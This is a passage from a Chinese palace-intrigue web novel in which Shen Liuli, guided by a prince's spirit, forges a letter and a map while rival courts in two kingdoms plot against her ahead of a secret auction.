“小姐您是没看见!您走后,府里都快乱成一锅粥了!老爷他急得嘴上都起了燎泡,三殿下也派人来了好几次,都被挡在了门外!”
她一边说,一边拉着沈琉璃的手,絮絮叨叨地将府中的见闻,都说了一遍。
沈琉璃静静地听着,脸上露出了一个浅浅的微笑。
回家的感觉,真好。
……
三日后,都城外,十里长亭。
一场纷纷扬扬的大雪,早已将整个天地,都染成了一片素白。
一辆极其普通的青布马车,在漫天风雪中,缓缓地停在了长亭之外。
车帘掀开,走下来的,是一个身着布衣的中年男人。
正是那个,被废除了所有官职,贬为庶民的张启年。
他的脸上,再无半分往日的威严,只有一种,被世事磨平了棱角的沧桑。
他看着亭中那个,早已等候多时的纤细身影,眼中有感激,有愧疚,但更多的是一种,连他自己都说不清的敬畏。
“草民张启年,见过沈大小姐。”他对着沈琉璃,重重地一拜。
“将军不必多礼。”沈琉璃连忙上前将他扶起,“今日请将军前来,是有一事相托。”
“大小姐但说无妨。”张启年平静地说道,“草民如今已是一介白身,怕是也帮不上大小姐什么忙了。”
“不,”沈琉璃摇了摇头,“我今日不是来求将军帮忙的。”
“我是来为将军,也为张家上下,寻一条真正的活路的。”
她将一份早已备好的地契和一封信,轻轻地放在了石桌上。
“这是江南一处温泉山庄的地契,位置隐蔽,仆役可靠。”她缓缓说道,“我已经安排好了最稳妥的车队,今夜便可送夫人和公子南下。在那里,不会再有任何人能打扰他们。”
张启年看着那份地契,那双早已看淡了生死的虎目,竟没来由地红了。
“至于令郎的病……”沈琉璃看着他,声音里带上了几分凝重,“实不相瞒,此毒名为‘雪山寒蝉’,极其罕见。能解此毒的‘凤凰胆’,如今正在安王手中。”
“安王?!”张启年浑身一震。
“没错。”沈琉璃点了点头,“为令郎诊治的那位顾神医,也同样身中安王麾下势力的奇毒。所以,救令郎,亦是救我的人。这条路,我们必须一起走下去。”
“我不能给将军一个确切的日期,但我可以承诺,”她坚定地说道,“只要我沈琉璃活着一日,便会倾尽所有,为令郎寻来解药。这封信里,是顾先生为令郎配制的,能暂时压制寒毒的药方。”
张启年看着桌上这两份“礼物”,心中掀起了滔天巨浪。
他本以为,自己早已是一枚弃子。却不想,眼前这个少女,竟为他铺好了所有的后路。
“很好。”君北玄的声音,在沈琉璃的脑海中响起,充满了赞许,“你总算学会了,如何真正地收服一头猛虎。用恩情和希望做锁链,远比用金钱和恐惧做枷锁,要牢固得多。”
张启年没有再多说什么。
只是,缓缓地对着眼前这个少女,单膝跪地。
“草民张启年,”他的声音充满了力量,“愿为主公,效犬马之劳!”
沈琉璃看着他,知道自己在这乾国,终于又落下了关键的一子。
“将军请起。”她亲自将他扶起,“从今天起,您便是揽月楼的护卫总管。我需要您,用您毕生的经验,为我训练出一支,真正忠诚可靠的力量。”
“草民,遵命!”
……
就在沈琉璃,在城外收服张启年的同时。
一艘挂着“四海商盟”旗帜的商船,也已悄无声息地驶入了,大徽王朝的港口。
而船上,那个由陆风派出的信使,也终于将那封“伪造”的密信,亲手交到了,大徽东宫内侍的手上。
与乾国都城那场刚刚落幕的风雪不同,千里之外的大徽王朝上京,正值深秋。
金色的梧桐叶,铺满了东宫
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外的长街。
东宫,承运殿。
殿内温暖如春,地上铺着厚厚的地毯,角落里的香炉中,燃烧着能凝神静气的龙涎香。
大徽王朝的太子,君怀瑾,正独自一人坐于窗前,手中捧着一卷前朝的兵书,看得极其专注。
他身着一身月白色的常服,面容温润如玉,气质儒雅,任谁都会以为,这是一位不问世事的富贵闲人。
“殿下。”
他最信任的内侍总管常德,迈着小碎步,悄无声息地走了进来,手中捧着一个用火漆封口的铁盒。
“‘四海商盟’的船,刚到港。”常德的声音,压得极低,“这是从乾国那边,加急送来的物件。”
君怀瑾的目光,从书卷上缓缓移开。
“哦?”他的眉梢轻轻一挑,放下了手中的兵书,“比孤预想的要快了三日。”
他没有立刻去接那个铁盒,只是伸出修长的手指,轻轻地叩了叩面前的桌面。
“送信的人,可还稳妥?”
“回殿下,是个生面孔,但验过了‘四海商盟’的信物,不会有错。”常德躬身答道,“东西送到后,便立刻离港了,没有留下任何痕迹。”
“很好。”
君怀瑾这才点了点头,示意常德将铁盒呈上来。
他没有急于打开,只是仔细地端详着铁盒上的火漆印。印记完整,没有丝毫破损。
他取过一柄小巧的银刀,小心翼翼地将火漆挑开。
铁盒打开,里面静静地躺着的,只有一封信和一块通体漆黑的玄铁令牌。
“狼卫……”他喃喃自语,声音里带着一种,极其复杂的情绪。
他当然认得这块令牌。
这天下,也只有他和他那位七弟,最清楚这块令牌背后,所代表的力量。
他缓缓地将那块令牌,握在了手心。那冰凉的触感,仿佛将他的思绪,也带回了风雪交加的北境。
许久,他才将令牌放下,展开了那封,由乾国大皇子“亲笔”所写的密信。
信,是沈琉璃写的。
“……久闻殿下用兵如神,三年前兵不血刃便平定南蛮水匪之乱,孤在乾国亦是钦佩不已……”
看到此处,君怀瑾的嘴角,勾起了一抹讥讽的弧度。
“三年前,孤水淹七军,虽然平了水匪,却也同样淹没了良田万顷,致使数万灾民流离失所。此事,至今仍是朝中那些言官,攻击孤的把柄。这个李裕,他是在夸我,还是在骂我?”
“……听闻殿下近日为北境互市之事操劳,龙体欠安,竟未能出席宫中寿宴,孤心甚忧之……”
君怀瑾的脸色,又冷了几分。
上个月,他提出的与北境蛮族互市关税的提议,被父皇当着满朝文武的面,驳斥为短视之举,让他颜面尽失,只能称病不出。
此事,乃是东宫秘闻,这个远在乾国的李裕,又是如何得知的?
第92章 疯狼出笼
君怀瑾继续往下看。
信的后半部分,终于露出了真正的獠牙。
李裕在信中暗示,他那位戍守北境、久病不出的七弟君北玄,怕是另有玄机。
他不仅在乾国,找到了一个新的“盟友”,也就是他君怀瑾未来的太子妃沈琉璃,更是意图,与他李裕里应外合,共同图谋一件“大事”。
而这块狼卫令牌,便是他献上的“投名状”。
他希望,能与君怀瑾这位未来的大徽之主,结成最坚固的同盟。只要君怀瑾点头,他便可立刻,将沈琉璃和君北玄在乾国的所有势力,连根拔起,为他扫清后顾之忧。
整封信,写得天衣无缝。
既有威胁,又有示好,将一个急于与未来君主攀上关系,却又手段拙劣的邻国皇子形象,刻画得入木三分。
“殿下,”常德看着自家主子那阴晴不定的脸,试探着问道,“这信上说的,可是真的?七殿下他……”
“你觉得呢?”君怀瑾没有回答,而是将信递给了他。
常德接过信,一目十行地看完,脸上露出了几分凝重。
“回殿下,奴才愚钝。”他沉吟了片刻,才缓缓开口,“只是觉得,这封信处处都透着古怪。”
“哦?说来听听。”
“其一,是这字迹。”常德指着信纸说道,“这字,虽然极力模仿乾国大皇子的笔锋,却在转折之处,依旧带着几分娟秀之气,倒像是女子才会写出的字。”
“其二,是这内容。”常德继续说道,“这信中,看似是在向您示好,实则却是字字诛心,句句都在揭您的伤疤。奴才实在想不通,那乾国的大皇子,若是真想与您结盟,又为何会用如此愚蠢的方式,来激怒您?”
“这感觉,不像是结盟。”常德抬起头说道,“倒更像是挑衅。”
“说得好。”君怀瑾点了点头,脸上露出了一个赞许的笑容。
他缓缓地站起身,走到挂在墙上的舆图前。
“常德啊,”他看着舆图上,那片代表着乾国的疆域,悠悠说道,“你只说对了一半。”
“这封信确实是挑衅,但它也是一封战书。”
“一封,由我那位本该在北境‘安心养病’的好弟弟,亲手为孤写下的战书。”
“什么?!”常德大惊失色,“殿下您的意思是……”
“没错。”君怀瑾的眼中,闪过了一抹狠戾,“老七他根本就没病。”
“他不仅没病,他还在用这种方式告诉孤,他已经找到了新的盟友,他要回来了。”
“而那个沈琉璃,”他的指尖,在舆图上轻轻划过,“便是他送给孤的第一份‘大礼’。”
“一个既能羞辱孤,又能试探孤,还能顺便,搅乱乾国这潭浑水的完美棋子。”
君怀瑾的分析,让常德只觉得手脚冰凉。
他怎么也没想到,这薄薄的一封信背后,竟隐藏着如此惊心动魄的博弈!
“那……那殿下,我们现在该怎么办?”他颤抖着问道,“是否要立刻,将此事禀报陛下?”
“不必,父皇他生性多疑。”君怀瑾摇了摇头,“我们现在拿着这封,真假难辨的信去见他,非但不会得到他的支持,反而会让他觉得,是我们兄弟二人,在为了一个女人,而争风吃醋。”
“他想看戏,那我们便陪他好好地看。”
“只是,这出戏的唱法,便由不得他了。”
他转过身,看着常德,缓缓地吐出了一个,让常德意想不到的名字。
“去。”他淡淡地吩咐道,“将那个人,给孤叫来。”
常德的身体,猛地一震!
他看着自家主子,眼中带着不敢置信地说道:“殿下,您真的要用他?”
“不然呢?”君怀瑾笑了笑,“对付一头疯了的狼,自然要用另一头更疯的狼。”
“告诉他,孤给他一个可以重返北境的机会。”
“但他需要先替孤,去乾国办一件事。”
“孤要他,亲眼去看看,我的太子妃,到底是个什么样的人。”
“也顺便,替孤,给我的好弟弟,送上一份……”
“回礼。”
听到“回礼”二字,内侍总管常德只觉得一股寒气顺着脊椎急速攀升,让他整个人如坠冰窟。
他比任何人都清楚,太子殿下口中的“那个人”,到底是个什么样的存在。
那不是人,那是一头被殿下用金丝锁链,锁在东宫后院深处的疯狼。
“殿下……您……您三思啊。”常德的声音里,带上了前所未有的惊骇,“萧将军他性情暴虐,桀骜不驯,若是将他放出,怕是会……”
“怕什么?”君怀瑾缓缓地转过身,继续说道,“孤怕的是他不够疯。”
“老七既然敢在千里之外,给孤送来这么一份‘大礼’,那孤若是不回一份更别致的,岂不是显得太小家子气了?”
他说着,便将那枚狼卫令牌,轻轻地抛在了桌上。
“去吧。”他淡淡地吩咐道,“告诉萧彻,孤给他一个机会。”
“也让他,替孤去乾国看一看。”
“那位未来的太子妃,到底长了怎样一副绝色容颜,竟能让老七色令智昏。”
……
半个时辰后,东宫最深处,一处名为“静思苑”的独立别院内。
与东宫其他地方的金碧辉煌不同,这里显得格外萧瑟。院内,只有一棵早已落尽了叶子的梧桐树,和一口终年不见阳光的古井。
常德提着一个食盒,停在了一间,看起来与寻常房间无异的厢房前。
他深吸一口气,对着那扇紧闭的房门,恭敬地说道:“萧将军,殿下有请。”
房间内,没有任何回应。
常德也不敢再多言,只是将食盒,轻轻地放在了门前的石阶上,随即转身,快步离去。仿佛,那扇门的背后,关着什么洪荒猛兽。
就在他离去后不久,那扇紧闭的房门,才“吱呀”一声,从里面被缓缓地拉开。
一个身材魁梧的男人,赤着上身,从房间的阴影中,缓缓地走了出来。
他的身上,布满了纵横交错的伤疤,每一道,都像是一枚狰狞的勋章,诉说着他曾经的疯狂。
而他那张,本该是英武不凡的脸上,却从左边眉骨到右边嘴角,斜贯着一道深可见骨的刀疤,将他整个人衬托得像是从地狱里爬出来的修罗。
他,便是萧彻。
曾经,肃王君北玄麾下,最骁勇的一员猛将。
三年前,北境“黑石关”一役,他为了一时之快,竟不惜违抗君北玄的军令,率领麾下三千铁骑孤军深入,坑杀了三万蛮族降卒。
那一役他虽然赢了,却也同样,为大徽王朝招来了蛮族最疯狂的报复。
君北玄震怒,当着三十万大军的面,亲手贬黜了他的职位,并将
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他押解回京,听候发落。
最终,还是太子君怀瑾“爱才”,将他从天牢中“请”了出来,安置在这座,名为“静思”的别院之中。
整整三年,他就像一头被拔了爪牙的猛虎,被困在这方寸之间,日夜忍受着比死亡还要痛苦的煎熬。
萧彻没有去看那个食盒,他只是缓缓地抬起头,看了一眼天边那轮,早已失去了温度的残月。
直到,他的目光,落在了食盒旁的狼卫令牌上。
他的身体,猛地一震!
“君……北……玄……”
他从牙缝里,挤出了这三个字。然后,猛地伸出手,将那块令牌,死死地攥在了手心!
那冰凉的触感,那熟悉的狼头图腾,仿佛将他,又带回了那个让他永生难忘的血色黄昏!
他不再有任何犹豫,转身走回房中,从床底拖出了一个早已落满了灰尘的木箱。
箱子打开,里面静静地躺着的是一副黑色重甲,以及一柄断头刀!
他缓缓地,将那副铠甲,重新穿在了身上。
随即,他提起那柄战刀,大步流星地朝着承运殿的方向,走了过去。
……
与此同时,乾国都城,尚书府,晚晴居。
夜色如墨,寒风卷着零星的雪花,敲打着窗棂。
沈琉璃独自一人坐在灯下,面前摊开的并非什么诗词歌赋,而是一份由揽月楼刚刚送来的,关于都城**和各大商会之间资金流动的密报。
晚晴居的院门,被轻轻地敲响了。
是忠叔。
他的脸上,满是凝重。
“小姐,”他快步走了进来,将一封用火漆封口的密信,呈了上来,“揽月楼那边,有紧急情报。”
沈琉璃接过密信,将其展开。
信上的内容,让她的脸色,瞬间变得无比严肃。
“‘四海商盟’,将在三日后,于都城地下的‘无名坊’内,举行一场秘密的夜拍。”忠叔压低声音道,“据我们安插在商盟外围的线人回报,此次夜拍的压轴之物,是一份,北境军防舆图!”
“什么?!”君北玄的声音,在她脑海中轰然炸响!
“北境军防舆图?!胡闹!此等军国机密,怎么可能会流落到一个商盟手中?!”
“王爷,您别急。”沈琉璃在心里,安抚着这个暴躁的灵魂。
她看着忠叔,继续问道:“可还查到了什么?”
“查到了。”忠叔点了点头,“据说,丞相府那边,对这份舆图志在必得。丞相韦光远,已经暗中调集了府中所有的流动资金,甚至不惜,从户部尚书那里,挪用了一笔巨款。”
丞相韦光远!皇后的亲哥哥,废太子李裕最坚实的后盾!
“好一个‘百足之虫,死而不僵’。”君北玄的声音,变得无比凝重,“李裕虽然倒了,可他背后的韦家,却还想做这最后的挣扎!”
“他不是要军防图。”沈琉璃看着那封密信,说道,“他是要,借着这份‘军防图’,将我们钉死在‘通敌叛国’的耻辱柱上!”
“他知道我财力雄厚,也必然会猜到,我会对他志在必得的东西出手,他这是在为我设下一个局!”
“那你打算如何?”君北玄问道,“放弃?”
“不。”沈琉璃摇了摇头,“我若放弃,便等于坐实了自己心虚。届时,他便有一百种方法,可以给我扣上新的罪名。”
第93章 豪赌的画师
听到“山河社稷图”这五个字时,忠叔和春桃的反应,竟是出奇地一致。
两人都愣住了,呆呆地看着自家小姐,仿佛第一次认识她一般。
“小姐,您……您说什么胡话呢?”春桃第一个没忍住,她凑上前,小心翼翼地伸出手,想探一探沈琉璃的额头,“您是不是这几日没休息好?那‘山河社稷图’不是传说中,只有开国皇帝才见过的神物吗?您要去哪里绘制一份出来?”
忠叔虽然没有说话,但在他看来,自家小姐这个计划,已经不是大胆,而是近乎于荒唐了。
“胡闹!”君北玄的声音,更是在沈琉璃的脑海中,毫不客气地响起,“沈琉璃,你到底想做什么?!伪造《山河社稷图》?你知不知道这是什么罪名?!这比你之前悬赏皇子还要离谱!一旦被识破,便是诛九族的大罪!你这是嫌自己的命太长了吗?!”
“王爷,”她在心里,耐心地解释道,“您是不是忘了,丞相韦光远想要的,从来都不是什么真正的‘北境军防图’。他要的,只是一个,能将我钉死在‘通敌叛国’耻辱柱上的‘罪证’罢了。”
“既然如此,”她的嘴角,露出一抹笑容,“我们为何不拿给他一份,比‘军防图’分量更重的东西呢?”
“忠叔,春桃,”她抬起头,声音变得无比坚定,“开弓没有回头箭,此事不必再议。按我说的做。”
她将目光,第一个投向了忠叔。
“忠叔,我需要您去一趟‘玲珑坊’,将我们做工最精致的‘金镶玉’牌九,给我取来。”
“小姐,您要那个做什么?”忠叔满心困惑。
“自然是当敲门砖。”沈琉璃说道,“‘无名坊’那种地方,认牌不认人。我需要您,用这枚牌九,为顾先生换取一张,能让他坐到最前排的入场券。”
“另外,”她又看向了春桃,“你去一趟揽月楼,将我们最好的画师,吴先生,请到府上来。要快,也要悄无声息。”
“是!”
两人虽然心中充满了疑虑,但看着自家小姐那不容置疑的眼神,还是点了点头,转身快步离去。
……
半个时辰后,晚晴居的偏厅,已被改造成了一间临时的画室。
数盏烛火将房间照得亮如白昼,一张巨大的画案,被安放在了房间的正中央。
春桃请来的吴道子,乃是揽月楼重金聘请的画师。此人年近六旬,须发皆白,性情孤傲,等闲的王公贵族都未必能请得动他。
此刻,他正一脸困惑地看着眼前的沈琉璃。
“沈大小姐,不知您深夜将老夫请来,所为何事?”他捻着胡须,语气里带着几分艺术家的傲气,“若是为了绘制寻常的山水花鸟,那还是等天亮了再说吧。”
“吴先生误会了。”沈琉璃对着他,盈盈一拜,“今日请您前来,并非是为了绘制寻常的画作。”
“而是想请您与我一同,再现一幅,早已失传了上百年的神作。”
她一边说,一边将早已备好的,最上等的宣纸、笔墨,呈了上来。
吴道子看着眼前这些东西,来了兴趣:“哦?那大小姐不妨说说,是何等神作,竟需如此大的阵仗?”
“《山河社稷图》。”
当沈琉璃说出这五个字时,吴道子的手,猛地一抖,险些将手中的画笔掉落在地。
“小姐……您……您没开玩笑吧?”
“您觉得,我像是在开玩笑吗?”
吴道子看着她那双清澈见底的眼睛,许久,才缓缓地吐出了一口浊气。
“疯了……真是疯了……”他喃喃自语,眼中却燃烧起了,属于艺术家的狂热!
“好!好一个《山河社稷图》!”他猛地一拍大腿,“老夫画了一辈子,还从未画过如此要命的东西!”
……
接下来的两日,晚晴居的偏厅,成了一座与世隔绝的“战场”。
沈琉璃屏退了所有下人,只留下了春桃一人,在旁伺候笔墨。
而她自己,则成了君北玄的传令兵。
“不对!”
“告诉那个老头!昆仑山脉的走势,不是这么画的!主峰与次峰之间,必须留出一条,足以让三千铁骑通过的峡谷!那不是山,那是我们大徽王朝,抵御西域蛮族的天然屏障!”
沈琉璃揉了揉早已酸痛的太阳穴,在心里有气无力地回应:“王爷,我再说一遍,我们画的是‘舆图’,不是‘兵防图’。您能不能,稍微地讲究一点艺术的美感?”
“美感?”君北玄嗤之以鼻,“在战场上,只有能**的东西,才是最美的!你让他画得这么‘圆润’,像个发面馒头似的,是想让敌人以为,我们大徽的边防,跟你们乾国的女人一样,软弱可欺吗?!”
沈琉璃:“……”
她深吸一口气,脸上重新挤出了一个谦卑的笑容,对着早已画得满头大汗的吴道子,柔声说道:“吴先生您看,这山脉的走势,若是能再险峻一些,是否更能凸显出雄伟壮阔的山河之气呢?”
吴道子闻言,捻着胡须,沉吟了片刻,最终还是点了点头。
“小姐说的是。”
“还有!”君北玄的声音,再次响起,“那条黄河!九曲十八弯,你让他画得跟一条蚯蚓似的,软绵绵的,毫无气势!告诉他,黄河,
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是龙!是能孕育万民,也能吞噬一切的龙!他必须画出,那种‘黄河之水天上来,奔流到海不复回’的霸气!”
“王爷,”沈琉璃在心里,无奈地叹了口气,“您是不是忘了,我们画的是乾国的《山河社稷图》,不是您大徽的。您说的这句诗,我们乾国的课本里,好像没有。”
君北玄:“……”
他被这个女人,给噎得,差点当场消散。
就在这一人一鬼,在脑海里进行着日常互怼,又同时进行着亲密无间的合作时。
一种极其微妙的情愫,也正在悄然滋长。
深夜,当吴道子,被春桃扶去偏房歇息后。
画室内,便只剩下了沈琉璃一人。
她看着这幅,在君北玄指导下,日益成型的“山河社稷图”,只觉得自己的心中,充满了前所未有的震撼。
她仿佛能看到,一个男人身披重甲,手持**,在那片广袤的土地上,纵横驰骋的模样。
她仿佛能感觉到,他指点江山时,那股睥睨天下的豪情。
她的心中,竟没来由地,生出了一股情绪。
这样一个,本该是天之骄子,人中之龙的男人,如今却只能被困在方寸之间的铁坠里,与她这个异国女子,相伴为生。
“在想什么?”
君北玄的声音,忽然在她耳边响起,竟是难得地,带上了几分温柔。
“没什么。”沈琉璃回过神来,脸上微微一红,“只是觉得,王爷您不去当个画师,实在是可惜了。”
“哼,妇人之见。”君北玄虽然嘴上这么说,但声音里的那份得意,却是怎么也掩盖不住。
……
三日后,一幅以假乱真的《山河社稷图》,终于在所有人的心血浇灌下,完成了。
画卷展开,一股磅礴大气,扑面而来!
那山,是铁骨铮铮的山!
那水,是奔流不息的水!
任谁看了,都会觉得,这是一幅,足以**国运的神作!
然而,只有沈琉璃和君北玄知道,这幅画的真正杀机,并不在画上。
而是那些看着并不起眼的“瑕疵”,实则是丞相韦光远一族,多年来私开矿山的铁证!
“好了,”沈琉璃将画卷,小心翼翼地卷起,放入一个紫檀木盒中,“现在,万事俱备,只欠东风了。”
她将那个木盒,连同早已写好了的信,一并交到了忠叔的手中。
“忠叔,”她的眼中,闪过了一抹狠戾,“告诉顾先生,今夜的无名坊,我不仅要让他,搅了丞相的局。”
“我还要让他,当着天下人的面,将这份礼物送到安王殿下的手上!”
第94章 丞相的后手
当忠叔提食盒,脚步匆匆地消失在晚晴居的月亮门外时,丞相府的书房内,灯火也同样亮到了深夜。
与尚书府的紧张筹备不同,此处的气氛显得格外从容。
当朝丞相韦光远,正独自一人坐在窗前,手中端着一盏上好的雨前龙井,慢条斯理地品着。
他年近花甲,一头银发梳理得一丝不苟,那张总是带着笑容的脸上,布满了岁月的沟壑,每一道,都仿佛藏一个**的算计。
“老爷。”
他最信任的心腹幕僚,刘先生,悄无声息地从门外走了进来,躬身行礼。
“如何?”韦光远没有回头,只是淡淡地问道。
“都已安排妥当。”刘先生的声音,压得极低,“‘四海商盟’那边传来消息,揽月楼的管事,今日申时,用一枚成色极佳的‘金镶玉’牌九,从‘无名坊’的管事手中,换走了一张夜拍的入场券。”
“哦?”韦光远放下茶杯,缓缓地转过身,“看来这条鱼儿,终于是上钩了。”
“老爷神机妙算。”刘先生连忙上前,为他续上热茶,谄媚地笑道,“那沈琉璃自以为聪明,却不知她的一举一动,早已在您的掌控之中。她以为自己是猎手,却不知,她早已是网中的猎物。”
“哼,一个黄毛丫头罢了。”韦光远不屑地冷哼一声,“若非她背后,还站着几个碍眼的人物,老夫又岂会容她,活到今日?”
他口中的“碍眼人物”,自然指的是三皇子李琰和那位难以揣测的靖亲王。
“那……老爷,”刘先生试探着问道,“今夜的无名坊,我们是否要加派人手?以防有变?”
“不必。”韦光远摆了摆手,“那‘北境军防图’,本就是老夫抛出去的诱饵。沈琉璃那个**,与大徽王朝的肃王君北玄关系匪浅,此事早已不是什么秘密。她今夜前来,必然是为了替她那位‘好盟友’,夺得这份军防图。”
“她财力雄厚,我们若是与她在金钱上硬拼,未必能占到便宜。”他缓缓说道,“我们要做的,不是去跟她抢。”
“而是要在她最志得意满的时候,送她一份,永生难忘的‘大礼’!”
他说着,便将目光投向了窗外那片,早已被黑暗笼罩的夜色。
“安王殿下那边,可有回音了?”
“回老爷,”刘先生连忙躬身道,“就在半个时辰前,安王府的管家亲自前来回话。他说,王爷一向礼佛,不问世事,不便插手我等凡俗的争斗。”
“不过……”刘先生话锋一转,“他也说了,‘无名坊’那种地方,龙蛇混杂,最是容易‘走水’。他已派了府中护卫,在附近巡视,以防有宵小之徒,趁乱**,惊扰了都城的安宁。”
“呵呵……好一个巡视。”韦光远闻言,发出了满意的笑声,“这位王爷,还真是个慈悲为怀的活菩萨啊。”
“告诉下面的人,”他的眼中,闪过了一抹狠戾,“今夜,给那个所谓的‘江南富商’,把戏演得足一些。那份‘军防图’,无论他出多高的价,我们都让给他。”
“老夫要让所有人都清清楚楚地看到,他沈琉璃的人,是如何为了敌国的军防图,一掷千金的!”
“待他拍下‘罪证’,走出‘无名坊’的那一刻,”他的声音,变得无比幽冷,“便让安王的人,送他们主仆二人,一同上路!”
“届时,人证物证俱在,便是靖亲王再想和稀泥,也绝不可能为了包庇一个,‘通敌叛国’的**,而堵上自己一世的清誉!”
“老爷英明!”
……
与此同时,另一场风暴,也正在千里外的大徽王朝,悄然酝酿。
东宫,承运殿。
太子君怀瑾对面,正坐着一个,脸上带着一道狰狞刀疤的男人。
正是那头,被他从囚笼中,亲手放出来的“疯狼”,萧彻。
“殿下,”萧彻的声音沙哑,“末将不明白,您为何要让我去乾国,对付一个手无缚鸡之力的女人?”
“女人?”君怀瑾捻起一枚白子,轻轻地落在棋盘上,发出了一声清脆的声响,“萧将军,你是不是忘了,三年前,在‘黑石关’下,将你从云端打入地狱的,也是一个,你从未放在眼里的人?”
萧彻的身体,猛地一震!
“君……北……玄……”他从牙缝里,挤出了这三个字。
“没错。”君怀瑾点了点头,脸上露出了一个微笑,“孤知道,你恨他。恨他废了你的军功,毁了你的前程。”
“可你不知道的是,”他话锋一转,声音变得无比幽冷,“他不仅毁了你的前程,他还要毁了孤的江山!”
他将那封密信,以及狼卫令牌,轻轻地推到了萧彻的面前。
“你自己看吧。”
萧彻疑惑地,将那封信展开。他看得很慢,很仔细。
“这……这不可能!”他指着那封信,声音都在发颤,“王爷他怎么会……”
“他怎么会与乾国的人,暗通款曲,意图不轨,是吗?”君怀瑾笑着接过了他的话。
“萧将军,”他缓缓地站起身,走到萧彻的面前,亲自为他斟上了一杯热茶,“你以为,他当年将你贬回京城,真的只是因为,你杀了一些蛮族的降卒吗?”
“不。”他摇了摇头,“他只是,嫌你碍事罢了。”
“他嫌你,挡了他与蛮族暗中勾结,共同图谋我大徽江山的财路!”
这番话,如同一道惊雷,在萧彻的脑海中炸响!
“你胡说!”他猛地站起身,一把扼住君怀瑾的衣领,那双血红的眼睛,死死地盯着他,“王爷绝不是这样的人!你这是在污蔑他!”
“污蔑?”君怀瑾任由他抓着,脸上没有半分惊慌。
“萧将军,”他指了指桌上的狼卫令牌,“你觉得,孤有必要,用一块假的令牌,来骗你吗?”
萧彻的身体,猛地一僵。
他当然认得那块令牌。
那是狼卫的信物,独一无二。
“看来,你还是不信。”君怀瑾叹了口气,他从袖中,又取出了一份卷宗,扔在了萧彻的面前。
“这是,孤安插在北境的探子,这一年来,冒死传回来的密报。”他缓缓说道,“上面清清楚楚地记载着,老七他,是如何与蛮族的可汗,称兄道弟;又是如何,将兵器和铠甲,通过‘四海商盟’,卖给那些畜生的!”
“他所谓的‘北境安稳’,不过是他用金钱,换来的虚假和平罢了!”
“而你,”他看着萧彻,说道,“不过是他这盘棋上,被他亲手抛弃的棋子!”
萧彻的心理防线,在这一刻彻底崩溃!
他松开手,失魂落魄地将那份卷宗展开。
他看着上面,那些触目惊心的记录,只觉得自己的整个世界,都轰然崩塌。
他一直以为,自己是英雄。
却不想,到头来,竟只
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是一个,被自己最敬重的人,**于股掌之间的傻子!
“为什么……”他喃喃自语,声音里充满了迷茫。
“没有为什么。”君怀瑾拍了拍他的肩膀,继续说道,“孤只知道,现在有一个,能让你亲手洗刷自己耻辱,也能让你重返北境,拿回属于你的一切的机会。”
“那个叫沈琉璃的女人,便是老七在乾国,最重要的棋子。”
“孤要你,去乾国。”
“孤要你,亲眼去看看,这对璧人,到底想唱一出什么样的好戏。”
“也顺便,替孤,给孤的好弟弟,送上一份回礼。”
……
夜色如墨,将乾国都城繁华的朱雀大街吞噬殆尽,只剩下几盏悬在屋檐下的灯笼,在寒风中摇曳着昏黄的光。
揽月楼后院一间不起眼的马厩里,顾九正对着一盆清水,龇牙咧嘴地往自己脸上贴着一张薄如蝉翼的**。
“嘶……我说忠叔,”他一边调整着面具的边缘,一边对着忠管家大吐苦水,“您说主公她到底是怎么想的?放着我这么一张玉树临风的脸不用,非要给我弄这么一张,看起来就像个暴发户的胖脸?这简直是暴殄天物!是对美的一种亵渎!”
忠叔看着眼前这个,脑满肠肥的中年富商,也是哭笑不得,只能好生劝道:“顾先生,小姐说了,‘无名坊’那种地方,龙蛇混杂,您长得太扎眼了,反而不安全。倒是您现在这副模样,看起来很是富态,很符合您‘江南富商’的身份。”
“富态?”顾九摸了摸自己这张圆滚滚的脸,只觉得心都在滴血,“我看是油腻才对吧?这要是让我那些红颜知己们看到了,小爷我这辈子的清誉,可就全毁了!”
他说着,又拿起那件,用金线绣满了铜钱纹样的锦袍,一脸嫌弃地在自己身上比划着。
“还有这衣服,简直是俗不可耐!小爷我行走江湖这么多年,还从未穿过如此有辱斯文的衣裳!这要是让王爷知道了,他非得把我吊在城门上,当靶子使不可!”
他一边抱怨,一边却还是手脚麻利地将行头穿戴整齐。
“好了,”忠叔将一个沉甸甸的钱袋,和一张“无名坊”的简易地图,交到了他的手上,“顾先生,一切都已安排妥当。‘无名坊’的入口,在城西的‘破瓦窑’,您只需将这枚牌九,交给那里的引路人‘老六’即可。”
“记住,”忠叔的脸色,变得无比凝重,“小姐说了,今夜您的任务只有一个:不惜一切代价,将那份‘北境军防图’拍下来。至于那份‘山河社稷图’,您只需在最关键的时候,将其呈上即可。”
“知道了,知道了。”顾九不耐烦地摆了摆手,“不就是花钱吗?这个小爷我最在行了。”
他说完,便大摇大摆地朝着马厩外走去。那走路的姿势,竟真的有几分商贾巨富的派头。
……
子时,夜最深沉的时候。
一辆毫不起眼的青布马车,悄无声息地驶入了城西那片,早已被黑暗笼罩的贫民区。
这里,就是“破瓦窑”。
顾九从车上下来,一眼便看到了那个,蜷缩在墙角的老更夫。
他没有多言,只是将一枚“金镶玉”牌九,扔了过去。
老更夫抬起眼睛,瞥了一眼顾九那身“豪气冲天”的行头。
他没有说话,只是慢悠悠地站起身,提着灯笼,朝着一条更黑暗的小巷走去。
第95章 牌局之上
厚重的木门在身后合上,隔绝了后巷所有的寒气与喧嚣。
门内只有一名身着华服,看起来精明干练的中年妇人,早已在此等候多时。
她的目光在顾九腰间一扫而过,脸上立刻堆起了职业化的笑容。
“想必,这位便是来自江南的顾老板吧?”她对着顾九,盈盈一拜,“奴家是此地的管事,您叫我红三娘便是了。今夜的夜拍,即将开始,还请老板随我来。”
顾九心中暗骂一声“老妖精”,脸上却堆起了憨厚的笑容,点了点头。
他跟着红三娘,穿过一条幽深的回廊,来到了一座独立的暖阁内。
暖阁内,早已是座无虚席。
数十名同样戴着各式各样面具的贵客,早已在各自的位置上落座。
虽然看不清他们的面容,但从他们那讲究的衣着和不凡的气度来看,无一不是都城中,有头有脸的人物。
顾九的入场券,是最高等级的。他被红妈妈,引领到了最前排,一个视野绝佳的位置上。
他刚一落座,便不动声色地观察着在场的每一个人。
很快,他的目光,便锁定在了一个同样坐在前排,身边却围了四五名护卫的男人身上。
那男人,戴着一张纯银打造的恶鬼面具,一身由内务府**的云锦衣袍,将他的身份暴露得一干二净。
“找到了。”顾九在心里,冷笑一声,“丞相府的总管,张德。这个老家伙,平日里在外面人五人六的,没想到,竟也喜欢来这种地方。”
就在此时,暖阁正中央,珠帘被缓缓地拨开。
